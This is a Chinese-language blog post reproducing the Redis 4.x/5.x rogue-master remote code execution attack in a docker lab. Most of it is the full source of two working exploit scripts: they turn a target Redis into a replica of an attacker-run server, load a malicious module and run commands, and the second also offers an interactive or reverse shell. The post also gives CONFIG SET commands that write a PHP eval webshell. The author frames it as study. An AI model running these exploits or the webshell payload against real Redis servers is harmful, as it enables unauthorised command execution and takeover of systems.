Redis 4.x RCE 复现学习
攻击场景:
能够访问远程redis的端口(直接访问或者SSRF)
对redis服务器可以访问到的另一台服务器有控制权
实际上就是通过主从特性来 同步传输数据,同时利用模块加载来加载恶意的用来进行命令执行的函数,从而进行rce
redis之前的攻击方法有
1.写shell
CONFIG SET dir /VAR/WWW/HTML
CONFIG SET dbfilename sh.php
SET PAYLOAD '<?php eval($_GET[0]);?>'
SAVE
但是对于网站根目录而言,redis不一定据有写权限
2.root权限写crontab或者ssh文件
高版本redis运行时为非root权限,并且写crontab反弹shell也仅仅局限于centos
攻击的整个流程为:
1.在我们要攻击的redis服务器上通过slave of来设置master,也就是来设置主服务器
2.在目标redis服务器上设置dbfilename
3.通过同步,将主服务器上的数据存到本地,也就是来写入我们的恶意模块(FULLRESYNC <Z*40> 1\r\n$<len>\r\n<pld>)
4.在目标机器上执行load来家在我们的恶意模块(MODULE LOAD /tmp/exp.so)
环境搭建:
docker pull hareemca123/redis5:alpine
docker run -p 192.168.1.6:6379:6379 --name redis hareemca123/redis5:alpine
exp地址:
https://github.com/n0b0dyCN/redis-rogue-server
支持交互式shell和反弹shell
我们这里尝试写文件都是可以的:
只不过因为在docker里面所以写文件的位置是有限的,这里我只能写到/data,其他地方写不进去,因为这个镜像只是一个redis,如果是服务器上有redis,那么可以尝试向网站的根目录写shell,这里执行命令都是可以的
这里直接rce的exp:
源地址:
https://github.com/vulhub/redis-rogue-getshell
#!/usr/bin/env python3
import os
import sys
import argparse
import socketserver
import logging
import socket
import time logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='>> %(message)s')
DELIMITER = b"\r\n" class RoguoHandler(socketserver.BaseRequestHandler):
def decode(self, data):
if data.startswith(b'*'):
return data.strip().split(DELIMITER)[2::2]
if data.startswith(b'$'):
return data.split(DELIMITER, 2)[1] return data.strip().split() def handle(self):
while True:
data = self.request.recv(1024)
logging.info("receive data: %r", data)
arr = self.decode(data)
if arr[0].startswith(b'PING'):
self.request.sendall(b'+PONG' + DELIMITER)
elif arr[0].startswith(b'REPLCONF'):
self.request.sendall(b'+OK' + DELIMITER)
elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):
self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b'' + DELIMITER)
self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)
self.request.sendall(self.server.payload + DELIMITER)
break self.finish() def finish(self):
self.request.close() class RoguoServer(socketserver.TCPServer):
allow_reuse_address = True def __init__(self, server_address, payload):
super(RoguoServer, self).__init__(server_address, RoguoHandler, True)
self.payload = payload class RedisClient(object):
def __init__(self, rhost, rport):
self.client = socket.create_connection((rhost, rport), timeout=10) def send(self, data):
data = self.encode(data)
self.client.send(data)
logging.info("send data: %r", data)
return self.recv() def recv(self, count=65535):
data = self.client.recv(count)
logging.info("receive data: %r", data)
return data def encode(self, data):
if isinstance(data, bytes):
data = data.split() args = [b'*', str(len(data)).encode()]
for arg in data:
args.extend([DELIMITER, b'$', str(len(arg)).encode(), DELIMITER, arg]) args.append(DELIMITER)
return b''.join(args) def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore') offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
return data.decode(errors='ignore') def exploit(rhost, rport, lhost, lport, expfile, command, auth):
with open(expfile, 'rb') as f:
server = RoguoServer(('0.0.0.0', lport), f.read()) #在攻击者主机建立伪造redis主服务器,并且设置恶意模块数据 client = RedisClient(rhost, rport) #连接客户端redis,也就是被攻击的redis服务器 lhost = lhost.encode()
lport = str(lport).encode()
command = command.encode() if auth:
client.send([b'AUTH', auth.encode()]) client.send([b'SLAVEOF', lhost, lport]) #设置我们的攻击机为master
client.send([b'CONFIG', b'SET', b'dbfilename', b'exp.so']) #设置用来保存恶意模块的文件名,这里不能跨目录,源码中有限制,lemon师傅已经分析过
time.sleep(2) server.handle_request()
time.sleep(2) client.send([b'MODULE', b'LOAD', b'./exp.so']) #加载恶意模块
client.send([b'SLAVEOF', b'NO', b'ONE']) #停止同步主服务器数据
client.send([b'CONFIG', b'SET', b'dbfilename', b'dump.rdb']) #将恶意模块写入到本地磁盘
resp = client.send([b'system.exec', command]) #发送要执行的命令
print(decode_command_line(resp)) client.send([b'MODULE', b'UNLOAD', b'system']) #卸载rce的模块 def main():
parser = argparse.ArgumentParser(description='Redis 4.x/5.x RCE with RedisModules')
parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True)
parser.add_argument("-p", "--rport", dest="rport", type=int,
help="target redis port, default 6379", default=6379)
parser.add_argument("-L", "--lhost", dest="lhost", type=str,
help="rogue server ip", required=True)
parser.add_argument("-P", "--lport", dest="lport", type=int,
help="rogue server listen port, default 21000", default=21000)
parser.add_argument("-f", "--file", type=str, help="RedisModules to load, default exp.so", default='exp.so')
parser.add_argument('-c', '--command', type=str, help='Command that you want to execute', default='id') parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password")
options = parser.parse_args() filename = options.file
if not os.path.exists(filename):
logging.info("Where you module? ")
sys.exit(1) exploit(options.rhost, options.rport, options.lhost, options.lport, filename, options.command, options.auth) #初始化攻击参数 if __name__ == '__main__':
main()
这个exp只是用来执行命令的,不带反弹shell,下面这个exp是反弹shell的,但是直接跑有点编码上的问题,需要改一点点:
#coding:utf-8
import socket
import sys
from time import sleep
from optparse import OptionParser
import re
CLRF = "\r\n"
SERVER_EXP_MOD_FILE = "exp.so"
DELIMITER = b"\r\n"
BANNER = """______ _ _ ______ _____
| ___ \ | (_) | ___ \ / ___|
| |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
| // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
| |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
\_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
__/ |
|___/
@copyright n0b0dy @ r3kapig
""" def encode_cmd_arr(arr):
cmd = ""
cmd += "*" + str(len(arr))
for arg in arr:
cmd += CLRF + "$" + str(len(arg))
cmd += CLRF + arg
cmd += "\r\n"
return cmd def encode_cmd(raw_cmd):
return encode_cmd_arr(raw_cmd.split(" ")) def decode_cmd(cmd):
if cmd.startswith("*"):
raw_arr = cmd.strip().split("\r\n")
return raw_arr[2::2]
if cmd.startswith("$"):
return cmd.split("\r\n", 2)[1]
return cmd.strip().split(" ") def info(msg):
print(f"\033[1;32;40m[info]\033[0m {msg}") def error(msg):
print(f"\033[1;31;40m[err ]\033[0m {msg}") def decode_command_line(data):
if not data.startswith(b'$'):
return data.decode(errors='ignore') offset = data.find(DELIMITER)
size = int(data[1:offset])
offset += len(DELIMITER)
data = data[offset:offset+size]
print(data)
return data.decode(errors='ignore') def din(sock, cnt=65535):
global verbose
msg = sock.recv(cnt)
if verbose:
if len(msg) < 1000:
print(f"\033[1;34;40m[->]\033[0m {msg}")
else:
print(f"\033[1;34;40m[->]\033[0m {msg[:80]}......{msg[-80:]}")
if sys.version_info < (3, 0):
res = re.sub(r'[^\x00-\x7f]', r'', msg)
else:
res = re.sub(b'[^\x00-\x7f]', b'', msg)
print(decode_command_line(msg))
return decode_command_line(msg) def dout(sock, msg):
global verbose
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)
if verbose:
if len(msg) < 1000:
print(f"\033[1;33;40m[<-]\033[0m {msg}")
else:
print(f"\033[1;33;40m[<-]\033[0m {msg[:80]}......{msg[-80:]}") def decode_shell_result(s):
return "\n".join(s.split("\r\n")[1:-1]) class Remote:
def __init__(self, rhost, rport):
self._host = rhost
self._port = rport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.connect((self._host, self._port)) def send(self, msg):
dout(self._sock, msg) def recv(self, cnt=65535):
return din(self._sock, cnt) def do(self, cmd):
self.send(encode_cmd(cmd))
buf = self.recv()
return buf def shell_cmd(self, cmd):
self.send(encode_cmd_arr(['system.exec', f"{cmd}"]))
buf = self.recv()
return buf class RogueServer:
def __init__(self, lhost, lport):
self._host = lhost
self._port = lport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.bind(('0.0.0.0', self._port))
self._sock.listen(10) def close(self):
self._sock.close() def handle(self, data):
cmd_arr = decode_cmd(data)
resp = ""
phase = 0
if cmd_arr[0].startswith("PING"):
resp = "+PONG" + CLRF
phase = 1
elif cmd_arr[0].startswith("REPLCONF"):
resp = "+OK" + CLRF
phase = 2
elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
resp = "+FULLRESYNC " + "Z"*40 + "" + CLRF
resp += "$" + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
phase = 3
return resp, phase def exp(self):
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
break
resp, phase = self.handle(data)
dout(cli, resp)
if phase == 3:
break def interact(remote):
info("Interact mode start, enter \"exit\" to quit.")
try:
while True:
cmd = input("\033[1;32;40m[<<]\033[0m ").strip()
if cmd == "exit":
return
r = remote.shell_cmd(cmd)
for l in decode_shell_result(r).split("\n"):
if l:
print("\033[1;34;40m[>>]\033[0m " + l)
except KeyboardInterrupt:
pass def reverse(remote):
info("Open reverse shell...")
addr = input("Reverse server address: ")
port = input("Reverse server port: ")
dout(remote, encode_cmd(f"system.rev {addr} {port}"))
info("Reverse shell payload sent.")
info(f"Check at {addr}:{port}") def cleanup(remote):
info("Unload module...")
remote.do("MODULE UNLOAD system") def runserver(rhost, rport, lhost, lport):
# expolit
remote = Remote(rhost, rport)
info("Setting master...")
remote.do(f"SLAVEOF {lhost} {lport}")
info("Setting dbfilename...")
remote.do(f"CONFIG SET dbfilename {SERVER_EXP_MOD_FILE}")
sleep(2)
rogue = RogueServer(lhost, lport)
rogue.exp()
sleep(2)
info("Loading module...")
remote.do(f"MODULE LOAD ./{SERVER_EXP_MOD_FILE}")
info("Temerory cleaning up...")
remote.do("SLAVEOF NO ONE")
remote.do("CONFIG SET dbfilename dump.rdb")
remote.shell_cmd(f"rm ./{SERVER_EXP_MOD_FILE}")
rogue.close() # Operations here
choice = input("What do u want, [i]nteractive shell or [r]everse shell: ")
if choice.startswith("i"):
interact(remote)
elif choice.startswith("r"):
reverse(remote) cleanup(remote) if __name__ == '__main__':
print(BANNER)
parser = OptionParser()
parser.add_option("--rhost", dest="rh", type="string",
help="target host", metavar="REMOTE_HOST")
parser.add_option("--rport", dest="rp", type="int",
help="target redis port, default 6379", default=6379,
metavar="REMOTE_PORT")
parser.add_option("--lhost", dest="lh", type="string",
help="rogue server ip", metavar="LOCAL_HOST")
parser.add_option("--lport", dest="lp", type="int",
help="rogue server listen port, default 21000", default=21000,
metavar="LOCAL_PORT")
parser.add_option("--exp", dest="exp", type="string",
help="Redis Module to load, default exp.so", default="exp.so",
metavar="EXP_FILE")
parser.add_option("-v", "--verbose", action="store_true", default=False,
help="Show full data stream") (options, args) = parser.parse_args()
global verbose, payload, exp_mod
verbose = options.verbose
exp_mod = options.exp
payload = open(exp_mod, "rb").read() if not options.rh or not options.lh:
parser.error("Invalid arguments") info(f"TARGET {options.rh}:{options.rp}")
info(f"SERVER {options.lh}:{options.lp}")
try:
runserver(options.rh, options.rp, options.lh, options.lp)
except Exception as e:
error(repr(e))
我结合第一个exp的redis数据解码方式把第二个的稍微改了下,多字节解码可能报错直接decode(errors="ignore")忽略就好了,接下来就可以执行交互式shell或者反弹shell
Redis 4.x RCE 复现学习的更多相关文章
- CVE-2019-0232:Apache Tomcat RCE复现
CVE-2019-0232:Apache Tomcat RCE复现 0X00漏洞简介 该漏洞是由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令 ...
- GitStack系统RCE漏洞学习
漏洞简介 漏洞简情 漏洞程序 GitStack 影响版本 <=2.3.10 漏洞类型 RCE 漏洞评价 高危 漏洞编号 CVE-2018-5955 漏洞程序介绍 GitStack是一款基于Pyt ...
- Spring Boot Actuator H2 RCE复现
0x00 前言 Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程.当Spring Boot Actuator配置不当可能造成 ...
- Joomla 3.4.6 RCE复现及分析
出品|MS08067实验室(www.ms08067.com) 本文作者:whojoe(MS08067安全实验室SRST TEAM成员) 前言 前几天看了下PHP 反序列化字符逃逸学习,有大佬简化了一下 ...
- GKCTF X DASCTF 2021_babycat复现学习
17解的一道题,涉及到了java反序列化的知识,学习了. 看了下积分榜,如果做出来可能能进前20了哈哈哈,加油吧,这次就搞了两个misc签到,菜的扣脚. 打开后是个登录框,sign up提示不让注册, ...
- CVE-2022-22947 Spring Cloud Gateway SPEL RCE复现
目录 0 环境搭建 1 漏洞触发点 2 构建poc 3 总结 参考 0 环境搭建 影响范围: Spring Cloud Gateway 3.1.x < 3.1.1 Spring Cloud Ga ...
- CVE-2019-0708 RCE复现
漏洞环境 192.168.91.136 windows7 6.1.7601 192.168.91.151 kali Windows7 SP1下载链接: ed2k://|file|cn ...
- Redis基本认识和基础学习-基本命令
Redis 基本介绍 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANS ...
- Redis Cluster集群知识学习总结
Redis集群解决方案有两个: 1) Twemproxy: 这是Twitter推出的解决方案,简单的说就是上层加个代理负责分发,属于client端集群方案,目前很多应用者都在采用的解决方案.Twem ...
随机推荐
- 微信小程使用getCurrentPages函数操作父级数据
微信小程使用getCurrentPages函数操作父级数据 let pages = getCurrentPages(); let prevPage = pages[pages.length - 2]; ...
- canvas学习之初级运用
<html> <head> <meta charset=utf-8> <title>绘制简单图形</title> <style typ ...
- JavaScript 的编译原理
JavaScript 是一门编译语言. JavaScript 的编译是发生在代码执行前的几微米(甚至更短)的事件内,所以 JavaScript 没有其他语言那么多的时间来进行优化. 当 JavaScr ...
- C# 校验车架号(VIN码)第9位是否有效算法
public static bool checkVIN(string vin) { //VIN码从第1位到第17位的“加权值”: Dictionary<int, int> vinMapWe ...
- K2 BPM_携手东航物流,领跑全球航空物流业_全球领先的工作流引擎
现代物流产业正在世界范围内广泛兴起,物流产业已成为各个国家国民经济发展的动脉和基础产业.随着物流新格局的加速形成,商业竞争的核心要素已经从传统的对资产资源的占有,演化为对资本.人才与技术的争夺,流量. ...
- Java检查异常和非检查异常,运行时异常和非运行时异常的区别
通常,Java的异常(包括Exception和Error)分为检查异常(checked exceptions)和非检查的异常(unchecked exceptions).其中根据Exception异常 ...
- asp.net网站部署在云服务器windows server 2008上
搭建一个网站需要以下4个准备: 1.域名解析 2.(云)服务器 3.数据库 4.网站代码 其中1可以可以去DNSPOD申请,同时需要进行备案,在上面就都可以完成.2用的是阿里云服务器windows s ...
- 在VS2017添加MVC项目
以前一直是用vs2012 MVC直接可以找到 在公司用的是vs2017 今天想创建一个MVC,和vs不同啊!!! 居然找不到MVC 然后找找找 ,突然想到创建asp.net 项目的时候发现了MV ...
- MySQL中添加、删除约束
MySQL中6种常见的约束:主键约束(primary key).外键约束(foreign key).非空约束(not null).唯一性约束(unique).默认值约束(defualt).自增约束(a ...
- 说一下 HashMap 的实现原理?(未完成)
说一下 HashMap 的实现原理?(未完成)